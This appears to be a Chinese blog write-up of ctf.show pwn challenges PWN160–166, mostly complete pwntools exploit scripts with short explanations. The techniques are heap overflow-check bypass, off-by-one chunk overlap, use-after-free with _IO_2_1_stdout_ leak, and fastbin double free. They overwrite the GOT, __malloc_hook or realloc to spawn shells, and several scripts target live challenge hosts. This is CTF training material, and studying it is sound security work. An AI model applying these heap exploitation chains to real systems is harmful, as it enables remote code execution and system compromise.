嘿嘿嘿!还是先摆在这里,有时间就更新。
PWN160
先分析一波
这里free函数和show函数都没有什么问题,add()函数的前半段没有什么问题,问题出在edit()函数中。
红色圈起来的就是漏洞点了。
这里是进行地址的判断,不要分析错了。因为我们add()的时候会创建2个chunk,第一个是我们要创建的chunk,第二个是系统要创建的chunk。
这段代码的主要意思就是,我们创建的chunk的地址加上Size的大小,要小于系统创建的chunk-0x4
首先先创建3个chunk,如下
add(0x80,b"aaaa",0x80,b"bbbb")
add(0x80,b"aaaa",0x80,b"bbbb")
add(0x80,b"aaaa",0x80,b"/bin/sh;")
现在分析就是,这段代码意思是0x8ee0008+size >= 0x8ee0090-0x4时就会报错退出。
这表明上是防止了堆溢出,但如果我们将系统创建的chunk和我们创建的chunk分开,那么就能绕过这个判断
绕过代码如下:
add(0x80,b"aaaa",0x80,b"bbbb")
add(0x80,b"aaaa",0x80,b"bbbb")
add(0x80,b"aaaa",0x80,b"/bin/sh;")
free(0)
add(0x100,b"vvvv",0x100,b"gggg")
重新申请后堆的分布就变了,我们创建的chunk在最顶部,而系统创建的chunk在最下面。那么就能绕过 我们创建的chunk的地址加上Size的大小,要小于系统创建的chunk-0x4这个判断。
剩下的自己动手调试。
完整exp
from pwn import *
from LibcSearcher import *
# context(log_level='debug',arch='i386', os='linux')
context(log_level='debug',arch='amd64', os='linux')
pwnfile = "./pwn"
io = remote("pwn.challenge.ctf.show", 28294)
# io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc/buu_libc-2.23_32.so")
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num=4096 :io.recv(num)
ru = lambda delims :io.recvuntil(delims)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg = lambda address,data :log.success('%s: '%(address)+hex(data))
gadget = [0x45216,0x4526a,0xf02a4,0xf1147]
def add(size,data,size1,data1):
sla(b"Action: ",b"0")
ru(b"size of description: ")
sl(str(size))
ru(b"name: ")
sl(data)
ru(b"text length: ")
sl(str(size1))
ru(b"text: ")
sl(data1)
def free(idx):
sla(b"Action: ",b"1")
sla(b"index: ",str(idx))
def show(idx):
sla(b"Action: ",b"2")
sla(b"index: ",str(idx))
def edit(idx,size,data):
sla(b"Action: ",b"3")
sla(b"index: ",str(idx))
ru(b"text length: ")
sl(str(size))
ru(b"text: ")
sl(data)
free_got = elf.got['free']
add(0x80,b"aaaa",0x80,b"bbbb")
add(0x80,b"aaaa",0x80,b"bbbb")
add(0x80,b"aaaa",0x80,b"/bin/sh;")
free(0)
add(0x100,b"vvvv",0x100,b"gggg")
edit(3,0x200,b"a"*0x108+p32(0)+p32(0x89)+b"a"*0x80+p32(0)+p32(0x89)+p32(free_got))
show(1)
free_addr = u32(io.recvuntil(b"\xf7")[-4:].ljust(4,b"\x00"))
libc_base = free_addr-libc.sym['free']
print("libc_base",hex(libc_base))
system_addr = libc_base+libc.sym['system']
edit(1,0x8,p32(system_addr))
free(2)
# gdb.attach(io)
itr()
PWN161
直接从漏洞点也就是edit()函数开始分析吧。
如下图:
如上图红色标注的就是漏洞点,并不难理解,就是当我们编辑chunk时再次输入的大小减去这个chunk之前创建时输入的大小,如果两者相减为10那么就会导致我们可以多输入一个字节。这就形成了off-by-one漏洞
off-by-one漏洞你们可以自己去网上搜索怎么利用。我这里是用堆叠泄露出libc的地址,然后改写malloc_hook
最终exp如下。
一定一定一定要自己动手调试!!!
from pwn import *
from LibcSearcher import *
# context(log_level='debug',arch='i386', os='linux')
context(log_level='debug',arch='amd64', os='linux')
pwnfile = "./pwn"
io = remote("pwn.challenge.ctf.show", 28183)
# io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc/buu_libc-2.23.so")
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num=4096 :io.recv(num)
ru = lambda delims :io.recvuntil(delims)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg = lambda address,data :log.success('%s: '%(address)+hex(data))
gadget = [0x45216,0x4526a,0xf02a4,0xf1147]
def add(size):
sla(b"Choice: ",b"1")
sla(b"size: ",str(size))
def edit(idx,size,data):
sla(b"Choice: ",b"2")
ru(b"index: ")
sl(str(idx))
ru(b"size: ")
sl(str(size))
ru(b"content: ")
s(data)
def free(idx):
sla(b"Choice: ",b"3")
sla(b"index: ",str(idx))
def show(idx):
sla(b"Choice: ",b"4")
sla(b"index: ",str(idx))
add(0x18) #0
add(0x68) #1
add(0x68) #2
add(0x68) #3
payload = b"a"*0x18+b"\xe1"
edit(0,0x18+10,payload)
free(1)
add(0x88)
show(2)
main_arena = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
malloc_hook = main_arena-0x10-88
libc_base = malloc_hook-libc.sym["__malloc_hook"]
fake_chunk = malloc_hook-0x23
realloc = libc_base+libc.sym["realloc"]
one_gadget = libc_base+gadget[1]
print("libc_base",hex(libc_base))
payload = p64(0)*0xd+p64(0x71)
edit(1,len(payload),payload)
free(2)
payload = p64(0)*0xd+p64(0x71)+p64(fake_chunk)
edit(1,len(payload),payload)
add(0x68)
add(0x68)
payload = b"a"*3+p64(0)+p64(one_gadget)+p64(realloc+16)
edit(4,len(payload),payload)
add(0x10)
# gdb.attach(io)
itr()
PWN162
高考完还有练车,太悲催了!!!!
本题知识点: 劫持_IO_2_1_stdout_泄露libc,UAF
还是老样子,保护全开。
本题只有两个实际可以用的函数,一个是add函数,一个是delete函数,这里的view函数看似无用实则有大用。下面开始分析。
#add函数
反汇编代码不难理解,给我们分配了两个堆一个是0x28系统分的,一个是我们要的。这里无漏洞
#delete
这里free了之后没有把指针清空,存在UAF漏洞,但又与平常的UAF不同,这里还把FD指针给置0了。所以再我们拿到unsortedbin之后的main_arean地址时不能按常规方法使用double free。
因为这里要利用_IO_2_1_stdout_泄露libc,所以要能知道stdout的偏移。直接把我们的libc拖到ida中就能查看。
下面开始讲解解题过程。
offset = b"\xDD\x55"
add(0x20,b"aaaa",b"aaaa") #0
add(0x68,b"aaaa",b"aaaa") #1
add(0x68,b"aaaa",b"aaaa") #2
add(0x7f,b"aaaa",b"aaaa") #3
add(0x18,b"aaaa",b"aaaa") #4
free(0)
free(3)
下面会解释为什么是0xdd0x55
调试结果如下
然后在运行如下代码
add(0x60,offset,offset) #5
free(1)
free(2)
free(1)
add(0x68,b"\xd0",b"\xd0") #6
add(0x68,b"\xd0",b"\xd0") #7
add(0x68,b"\xd0",b"\xd0") #8
add(0x68,b"\xd0",b"\xd0") #9
这里写0xd0是因为我们不能直接double free来写fd指针,因为free时把我们的fd会清空写了也是白写。然后写0xd0相当于我们伪造了FD指向的chunk。
如下图
这里也是指向了以0xd0结尾的chunk,说明我们伪造成功了。
接下来
sla(b"Your choice : ",b"1")
sla(b"size of the daniu's name: ",str(0x68))
sa(b"daniu's name:",b'A'*0x33 + p64(0xfbad1800) + p64(0)*3 + b'\x00')
这里我可以看到我们成功写到了_IO_stdout附近
然后我们再来看\xdd\x55处的情况
这就是我们申请到的地方,可以看到我们已经改写成功了。至于为什么是\xdd\x55,如下图
这里可以看到stdout后三位是0x620,这三位是不变的,但我们fastbin attack时会检查size位,所以我们不能把地址申请到这里,但如果将chunk申请到0x620-0x43处,会如何,如下图
这样看到正是\xdd处,所以\xdd\x55是算出来的当然也不一定要是这个也可以是\xdd\x75等等但必须保证最后三位是0x5dd。
这里看着好像除了flag都没改,其实已经改过了,具体的可以b _int_malloc 然后fin去看
p _IO_list_all
p (*(struct _IO_FILE_plus *)0x7f4188fc5540)
p (*(struct _IO_jump_t *)(0x556306725500+0xd8))
接下来就是正常的流程了,和前几题一样
完整的EXP是(本地的):
from pwn import *
from LibcSearcher import *
# context(log_level='debug',arch='i386', os='linux')
context(log_level='debug',arch='amd64', os='linux')
pwnfile = "./pwn"
# io = remote("pwn.challenge.ctf.show", 28237)
io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc/libc-2.23.so")
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num=4096 :io.recv(num)
ru = lambda delims :io.recvuntil(delims)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg = lambda address,data :log.success('%s: '%(address)+hex(data))
gadget = [0x45226,0x4527a,0xf03a4,0xf1247]
def add(size,data,data1):
sla(b"Your choice : ",b"1")
sla(b"size of the daniu's name: ",str(size))
sa(b"daniu's name:",data)
sa(b"daniu's message:",data1)
sl(b"2")
def free(idx):
sla(b"Your choice : ",b"3")
sla(b"daniu's index:",str(idx))
#==================================================================================
#利用_IO_file泄露libc地址
offset = b"\xDD\x55"
add(0x20,b"aaaa",b"aaaa") #0
add(0x68,b"aaaa",b"aaaa") #1
add(0x68,b"aaaa",b"aaaa") #2
add(0x7f,b"aaaa",b"aaaa") #3
add(0x18,b"aaaa",b"aaaa") #4
free(0)
free(3)
add(0x60,offset,offset) #5
free(1)
free(2)
free(1)
add(0x68,b"\xd0",b"\xd0") #6
add(0x68,b"\xd0",b"\xd0") #7
add(0x68,b"\xd0",b"\xd0") #8
add(0x68,b"\xd0",b"\xd0") #9
sla(b"Your choice : ",b"1")
sla(b"size of the daniu's name: ",str(0x68))
sa(b"daniu's name:",b'A'*0x33 + p64(0xfbad1800) + p64(0)*3 + b'\x00')
libc_base = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
libc_base = libc_base-libc.sym['_IO_2_1_stderr_'] - 192
malloc_hook = libc_base+libc.sym['__malloc_hook']
realloc_hook = libc_base+libc.sym['realloc']
fake_chunk = malloc_hook-0x23
one_gadget = libc_base+gadget[1]
print("libc_base------------------>: ",hex(libc_base))
sla(b"daniu's message:",b"1")
#================================================================================
#利用double free改fd指针,使其指向我们伪造的fake_chunk
free(1)
free(2)
free(1)
add(0x68,p64(fake_chunk),b"aaaa")
add(0x68,b"a",b"a")
add(0x68,b"a",b"a")
#===============================================================================
#shell
add(0x68,b"a"*(0x13-8)+p64(one_gadget)+p64(realloc_hook+8),b"a")
sla(b"Your choice : ",b"1")
itr()
注意这是我本地打的,远程打的自己要换libc。而且这是1/16的概率。
要一直打才能成功。本人至少打了30多次才成功比较概率太小了。
PWN163
和pwn161一样的题。
from pwn import *
from LibcSearcher import *
# context(log_level='debug',arch='i386', os='linux')
context(log_level='debug',arch='amd64', os='linux')
pwnfile = "./pwn"
io = remote("pwn.challenge.ctf.show", 28258)
# io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc/buu_libc-2.23-64.so")
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num=4096 :io.recv(num)
ru = lambda delims :io.recvuntil(delims)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg = lambda address,data :log.success('%s: '%(address)+hex(data))
gadget = [0x45216,0x4526a,0xf02a4,0xf1147]
def add(size):
sla(b"Command: ",b"1")
sla(b"Size: ",str(size))
def edit(idx,data):
sla(b"Command: ",b"2")
sla(b"Index: ",str(idx))
sla(b"Size: ",str(len(data)))
ru(b"Content: ")
sl(data)
def free(idx):
sla(b"Command: ",b"3")
sla(b"Index: ",str(idx))
def show(idx):
sla(b"Command: ",b"4")
sla(b"Index: ",str(idx))
add(0x40)
add(0x40)
add(0x40)
add(0x60)
payload = b"a"*0x40+p64(0)+p64(0xa1)
edit(0,payload)
free(1)
add(0x40)
show(2)
main_arean = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
malloc_hook = main_arean-0x10-88
libc_base = malloc_hook-libc.sym['__malloc_hook']
fake_chunk = malloc_hook-0x23
one_gadget = libc_base+gadget[1]
realloc = libc_base+libc.sym['realloc']
print("libc_base------------_>>: ",hex(libc_base))
free(3)
edit(2,b"a"*0x40+p64(0)+p64(0x71)+p64(fake_chunk))
add(0x60)
add(0x60)
edit(4,b"a"*(0x13-8)+p64(one_gadget)+p64(realloc+8))
add(0x10)
itr()
PWN164
(最近一直练车,一练就是一整天,太累了。要动脑子的题就先不做。以后再说。)
PWN165
(最近一直练车,一练就是一整天,太累了。要动脑子的题就先不做。以后再说。)
PWN166
很基础的double free。最多10分钟就能搞定。不懂的自己百度double free。
from pwn import *
from LibcSearcher import *
# context(log_level='debug',arch='i386', os='linux')
context(log_level='debug',arch='amd64', os='linux')
pwnfile = "./pwn"
io = remote("pwn.challenge.ctf.show", 28138)
# io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc/buu_libc-2.23-64.so")
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num=4096 :io.recv(num)
ru = lambda delims :io.recvuntil(delims)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg = lambda address,data :log.success('%s: '%(address)+hex(data))
gadget = [0x45216,0x4526a,0xf02a4,0xf1147]
def add(size,data,idx):
sla("Input your choice:",b"1")
sla(b"Please input the size of the flag",str(size))
ru(b"please input the flag name:")
s(data)
sla(b"please input the flag idx:",str(idx))
def show(idx):
sla("Input your choice:",b"2")
sla(b"Please input the index:",str(idx))
def edit():
sla("Input your choice:",b"3")
def free(idx):
sla("Input your choice:",b"4")
sla(b"Please input the index:",str(idx))
add(0x80,b"aaaa",0)
add(0x60,b"aaaa",1)
add(0x60,b"aaaa",2)
free(0)
add(0x60,b"\x78",3)
show(3)
main_arena = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
malloc_hook = main_arena-0x10-88
fake_chunk = malloc_hook-0x23
libc_base = malloc_hook-libc.sym['__malloc_hook']
realloc_hook = libc_base+libc.sym['realloc']
one_gadget = libc_base+gadget[3]
print(b"libc_base-------------_<: ",hex(libc_base))
free(1)
free(2)
free(1)
add(0x60,p64(fake_chunk),4)
add(0x60,b"aaaaa",5)
add(0x60,b"aaaaa",6)
add(0x60,b"a"*(0x13-8)+p64(one_gadget)+p64(realloc_hook+8),7)
sla("Input your choice:",b"1")
# gdb.attach(io)
itr()